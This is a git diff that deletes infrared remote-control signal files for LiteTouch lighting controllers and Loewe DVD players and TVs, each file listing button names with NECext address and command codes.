a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir deleted file mode 100644 index c570bc66f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 95 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir deleted file mode 100644 index 4b91674ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 96 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir deleted file mode 100644 index b72217beb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 97 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir deleted file mode 100644 index 3372c1a83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 98 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir deleted file mode 100644 index 833c87838..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 99 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir deleted file mode 100644 index 0895a4d27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: 7F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: BF 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: DF 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: EF 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: F7 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: FB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: FD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: FE 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: FF 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir deleted file mode 100644 index 3f7c8e2a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir deleted file mode 100644 index a1dbefb7f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: FM_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 00 00 00 00 -# -name: DVD_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: FM_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: DVD_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: DVD_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: DVD_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: FM_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 04 00 00 00 -# -name: DVD_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: FM_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 05 00 00 00 -# -name: DVD_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: FM_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: DVD_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: FM_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 07 00 00 00 -# -name: DVD_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: FM_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: DVD_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: FM_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: RC1_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: FM_ON -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: CERTOS_ON_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 21 00 00 00 -# -name: AUX_3_DIGITAL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 22 00 00 00 -# -name: FM_11 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 2A 00 00 00 -# -name: FM_SEARCH_FF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 32 00 00 00 -# -name: FM_SEARCH_REV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 33 00 00 00 -# -name: DVD_CURSOR_UPP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: FM_SKIP_FF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: DVD_CURSOR_NER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: FM_SKIP_REV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5A 00 00 00 -# -name: VOLYM_-. -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5A 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5B 00 00 00 -# -name: VOLYM_+ -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5B 00 00 00 -# -name: DVD_CURSOR_ENTER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: DVD_DISC_MENY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 8E 00 00 00 -# -name: DVD_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 90 00 00 00 -# -name: DVD_KAPITEL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 91 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 96 00 00 00 -# -name: DVD_REPEAT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 99 00 00 00 -# -name: CD_TIME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 9D 00 00 00 -# -name: CD_TEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 9F 00 00 00 -# -name: CD_MIX -type: parsed -protocol: NECext -address: 20 00 00 00 -command: A1 00 00 00 -# -name: DVD_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C0 00 00 00 -# -name: DVD_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C1 00 00 00 -# -name: DVD_EXIT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C2 00 00 00 -# -name: DVD_SKIP_REV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C4 00 00 00 -# -name: DVD_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C5 00 00 00 -# -name: DVD_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C6 00 00 00 -# -name: DVD_SKIP_FF -type: parsed -protocol: NECext -address: 20 00 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir deleted file mode 100644 index e5642ad62..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 21 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir deleted file mode 100644 index 4a36e5895..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: V_=_KNAPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: I_(INFO) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: BILD_KNAPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: LJUD_KNAPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: E_(EXIT) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: PIP_KNAPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: EPG_KNAPP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: M_(MENY) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir deleted file mode 100644 index 1127bb2ec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: PROGRAM_+ -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: PROGRAM_- -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: PAUSE_REC -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: STOPP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: TITLE_/_CHAPTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: CAMERA -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 53 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 59 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: SET_MARKER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 -# -name: KNAPP/CARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 69 00 00 00 -# -name: NGAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B0 00 00 00 -# -name: REC_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: B7 00 00 00 -# -name: GUL_KNAPP/TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BA 00 00 00 -# -name: D_KNAPP/C-SET -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BB 00 00 00 -# -name: N_KNAPP/SHOWVIEW -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: BC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir deleted file mode 100644 index b42ec6eb7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir +++ /dev/null @@ -1,968 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: INPUT_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: INOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: PIP_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: MENU_KEY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: M_(MENY) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: TV_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: NORMAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: POWER:_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CURSOR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: INPUT:_COMPONENT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: VID_1C_/_ANT_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: TV_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: PROGRAM_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: PROGRAM_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TV_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 